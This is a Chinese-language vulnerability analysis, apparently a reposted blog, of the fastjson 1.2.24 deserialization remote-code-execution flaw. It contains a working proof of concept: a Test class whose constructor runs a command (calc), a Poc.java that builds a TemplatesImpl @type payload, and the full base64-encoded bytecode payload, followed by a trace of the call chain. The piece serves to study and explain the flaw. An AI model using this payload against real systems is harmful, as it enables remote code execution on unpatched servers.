環境搭建:
漏洞影響版本:
fastjson在1.2.24以及之前版本存在遠程代碼執行高危安全漏洞
環境地址:
正常訪問頁面返回hello,world~
此時抓包修改content-type為json格式,並post payload,即可執行rce
此時就能夠創建success文件
前置知識:
研究這個漏洞之前,先熟悉一下阿里的這個fastjson庫的基本用法
package main.java;
import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import main.java.user;
public class test_fast_json {
public static void main(String[] args){
Map <String,Object> map = new HashMap<String, Object>();
map.put( "key1","one");
map.put( "key2","two");
// System.out.println(map.getClass());
String mapjson = JSON.toJSONString(map);
System.out.println(mapjson.getClass());
user user1 = new user ();
user1.setName( "111");
System.out.println(JSON.toJSONString(user1));
String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
System.out.println( "serializedStr1="+serializedStr1);
user user2 =(user)JSON.parse(serializedStr1);
System.out.println(user2.getName());
Object obj = JSON.parseObject(serializedStr1);
System.out.println(obj);
System.out.println(obj.getClass());
Object obj1 = JSON.parseObject(serializedStr1,Object.class );
// user obj1 = (user) JSON.parseObject(serializedStr1,Object.class);
user obj2 = (user)obj1;
System.out.println(obj2.getName());
System.out.println(obj2.getClass());
}
}
//輸出 class java.lang.String
{"age":0,"name":"111"}
serializedStr1={"@type":"main.java.user","age":0,"name":"111"}
111
{"name":"111","age":0}
class com.alibaba.fastjson.JSONObject
111
class main.java.user
這裏user為定義好的一個類,實際上fastjson提供給我們的也就是將對象快速轉換為可以傳輸的字符串,當然也提供從字符串中恢復出對象,也就是一個序列化和反序列化的過程,
可以從輸出看到,JSON.toJSONstring實際上是將類的屬性值轉化為字符串,當JSON.toJSONstring帶有writeclassname時此時字符串中將包含類名稱及其包名稱,所以此時可以定位到某個類以及其實例化對象的屬性值,再通過JSON.parse()函數即可通過fastjson序列化后的字符串恢復該類的對象,當恢復對象時,使用JSON.parseObject帶有Object.class時,此時能夠成功恢復出類的對象,否則只能恢復到JsonObject對象
漏洞分析:
這個漏洞利用方式有好種,這篇文章主要分析利用templatesImlp這個類,這個類中有一個_bytecodes字段,部分函數能夠根據這個字段來生成類的實例,那麼這個類的構造函數是我們可控的,就能夠rce
test.java
package person;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
public Test() throws IOException {
Runtime.getRuntime().exec( "calc");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
}
test.java在這裏的話主要是用戶parseObject json反序列化時所要還原的類,因為在這會實例化該類,因此直接在其構造方法中calc即可
poc.java
package person;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class Poc {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy( new FileInputStream(new File(cls)), bos); //將test.class字節碼文件轉存到字節數粗輸出流中
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype時反序列化的類
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"]," + //將evilcode放在_bytecodes處
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text1);
// String personStr = "{'name':"+text1+",'age':19}";
// Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField);
Object obj = JSON.parseObject(text1, Object.class , config, Feature.SupportNonPublicField); //pareseObject來反序列化,此時要設置 SupportNonPublicField
public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }
我們已經知道在反序列化解析json字符串時在parseobject時觸發
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}
在此下斷點,運行poc.java
此時首先調用com/alibaba/fastjson/JSON.java的parseObject函數來處理我們傳入的payload
此時判斷我們傳入的features是否為null,這裏
我們已經制定了支持非publicfield屬性,因為使用的_bytescode實際為非public的,否則無法反序列化,接着調用defaultJsonParser來進一步處理payload
此時進一步調用javaObjectDeserializer,也就是反序列化時所使用的反序列化引擎,繼續跟進
此時在javaObjectDeserializer的deserialze函數中將判斷type的類型是不是泛型數組類型的實例以及判斷type是不是類類型的實例,這裏兩處不滿足,所以調用parse.parse來解析
實際上此時又回到了
並且在此調用parseObject函數來處理我們的payload
接下來一部分就是語法解析,先匹配出了其中的雙引號”,
比如先在parseObject函數中匹配出了@type
匹配出@type標誌以後,將會繼續向後掃描json字符串,即取匹配相應的值,這個值也就是我們想要反序列化的類
繼續往下走,將調用deserializer.deserialze函數來處理反序列化數據,此時deserializer中已經包含了要實例化的templatesimpl類,
跟進此函數,則可以看到此時token為16並且text為我們的payload
接下來會調用parseField函數來對json字符串中的一些key值進行匹配
這個方法裏面會調用smartmatch來對key值進行一些處理,比如將_bytecodes的下劃線刪除
當處理到_outputProperties字段時,步入其smartMatch方法
此時在FieldDeserializer中將會調用setValue方,此時將會在其中調用getOutputProperties()方法,因為存在OutputProperties屬性
此時在TemplatesImpl類的getOutputProperties函數中將會調用newTransformer().getOutputProperties函數,在newTransformer函數中又調用了getTransletInstance()函數,
這裏首先判斷_name字段不能為空,這也是為啥payload裏面會設置一個_name字段
接下來就會調用newInstance()函數來實例化對象了,可以看到此事要求實例化的對象時AbstractTranslet類的,那麼只需要讓我們的payload中的類繼承自該類即可,
可以看到此時_transletIndex為零,因此此時實例化的就是我們構造的惡意類,
縮減后的整個調用鏈即為:
JSON.parseObject
...
JavaBeanDeserializer.deserialze
...
FieldDeserializer.setValue
...
TemplatesImpl.getOutputProperties
TemplatesImpl.newTransformer
TemplatesImpl.getTransletInstance
...
Runtime.getRuntime().exec
參考:
本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】
※USB CONNECTOR 掌控什麼技術要點? 帶您認識其相關發展及效能
※評比前十大台北網頁設計 、台北網站設計 公司知名案例作品心得分享
※智慧手機時代的來臨,RWD網頁設計 已成為網頁設計推薦首選